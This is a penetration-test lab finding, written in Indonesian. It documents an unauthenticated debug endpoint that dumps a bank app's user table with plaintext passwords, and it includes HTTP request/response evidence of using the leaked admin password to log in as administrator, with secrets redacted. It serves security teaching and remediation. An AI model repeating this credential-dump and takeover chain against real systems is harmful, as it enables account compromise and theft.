Kembali ke indeks

LAB FAIL

Sensitive Data Exposure - Debug Endpoint - User Credentials

Sensitive Data Exposure — Debug Endpoint — User Credentials

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor · OWASP A01:2021 - Broken Access Control

Kerentanan

[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials

Deskripsi

Endpoint /debug/users dapat diakses tanpa autentikasi dan mengembalikan seluruh tabel pengguna, termasuk kolom password. Password disimpan dalam bentuk teks terang, bukan hash, sehingga langsung dapat dipakai.

Dampak

Confidentiality (High, berujung kompromi penuh): siapa pun tanpa kredensial dapat mengunduh username, password teks terang, nomor rekening, dan penanda administrator seluruh nasabah. Pada pengujian, password administrator yang diperoleh dari endpoint ini langsung dipakai untuk login sebagai administrator. Karena password kerap digunakan ulang, dampaknya meluas ke luar aplikasi.

CWE

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

OWASP

A01:2021 - Broken Access Control

Skenario

Kontrol: /dashboard tanpa token ditolak dengan HTTP 401, menunjukkan aplikasi memang memiliki lapisan autentikasi. Eksploitasi: /debug/users diakses tanpa token apa pun -> HTTP 200 berisi seluruh kredensial. Dampak: password administrator hasil bocoran dipakai login dan menghasilkan token dengan is_admin true.

Endpoint

GET http://127.0.0.1:5001/debug/users

Fitur terdampak

Endpoint debug yang tertinggal di build produksi

Rekomendasi perbaikan

- Hapus endpoint debug dari kode yang dikirim ke produksi; jangan hanya menyembunyikannya. - Simpan password sebagai hash ber-salt (bcrypt/argon2) dan jangan pernah mengembalikan kolom password dari query mana pun. - Terapkan autentikasi dan otorisasi secara default (deny by default) pada seluruh rute. - Lakukan rotasi seluruh kredensial yang pernah terekspos.

Bukti konsep

  1. (Screenshot 1) KONTROL: /dashboard tanpa token -> HTTP 401 Token is missing, autentikasi memang ada.
  2. (Screenshot 2) EKSPLOITASI: /debug/users tanpa autentikasi -> HTTP 200 berisi seluruh pengguna dengan password teks terang.
  3. (Screenshot 3) DAMPAK CIA: password administrator hasil bocoran dipakai login -> token administrator terbit, is_admin true.

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

HTTP request
GET /dashboard HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 401 UNAUTHORIZED
Content-Type: application/json
Content-Length: 34
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:18 GMT

{
  "error": "Token is missing"
}
Tangkapan layar
HTTP request
GET /debug/users HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 816
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:19 GMT

{
  "users": [
    {
      "account_number": "ADMIN001",
      "id": 1,
      "is_admin": true,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "admin"
    },
    {
      "account_number": "7503483798",
      "id": 4,
      "is_admin": false,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "ma_normal_user"
    },
    {
      "account_number": "7658808238",
      "id": 5,
      "is_admin": true,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "ma_evil_admin"
    },
    {
      "account_number": "9159912486",
      "id": 3,
      "is_admin": false,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "pentest_victim"
    },
    {
      "account_number": "0932191785",
      "id": 2,
      "is_admin": false,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "pentest_attacker"
    }
  ]
}
Tangkapan layar
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 45
Content-Type: application/json

{"username": "admin", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 470
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:20 GMT

{
  "accountNumber": "ADMIN001",
  "debug_info": {
    "account_number": "ADMIN001",
    "is_admin": true,
    "login_time": "2026-09-30 03:02:20.186000",
    "user_id": 1,
    "username": "admin"
  },
  "isAdmin": true,
  "message": "Login successful",
  "status": "success",
  "token": "[REDACTED-LAB-VALUE]"
}
Tangkapan layar

← Kasus sebelumnya: Security Misconfiguration - CORS - Wildcard Origin Kasus berikutnya: Sensitive Data Exposure - Web Root - Environment Files →